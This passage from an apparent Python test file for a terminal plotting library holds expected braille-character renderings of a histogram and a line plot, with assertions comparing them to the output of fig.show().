⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.56750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.48500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.40250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.32000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.23750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.15500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 1.07250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.99000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⡀⠀⠀⠀⠀⠀⠀\n 0.90750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.82500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.74250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.66000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.57750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.49500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.41250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.33000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.24750 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.16500 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.08250 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n 0.00000 | ⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀\n-----------|-|---------|---------|---------|---------|---------|---------|---------|---------|-> (X)\n | 0.80000 1.10000 1.40000 1.70000 2.00000 2.30000 2.60000 2.90000 3.20000 '''\n\n res = fig.show() # no legend, no origin\n assert expected == res\n\n assert fig.show(legend=True) == expected + '\\n\\nLegend:\\n-------\\n' # no label for histograms\n\n fig.clear()\n fig.plot([-0.1, 0.2], [-0.2, 0.3])\n\n expected = ''' (Y) ^\n 0.35000 |\n 0.33500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.32000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.30500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.29000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀\n 0.27500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀\n 0.26000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.24500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.23000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.21500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.20000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.18500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.17000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.15500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.14000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.12500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.11000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.09500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.08000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.06500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.05000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.03500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.02000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n 0.00500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.01000 | ⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⡏⠉⠉⡩⠋⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉⠉\n -0.02500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.04000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.05500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.07000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.08500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.10000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.11500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.13000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.14500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.16000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.17500 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.19000 | ⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.20500 | ⠀⠀⠀⠀⠀⠀⠠⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.22000 | ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀\n -0.23500 | 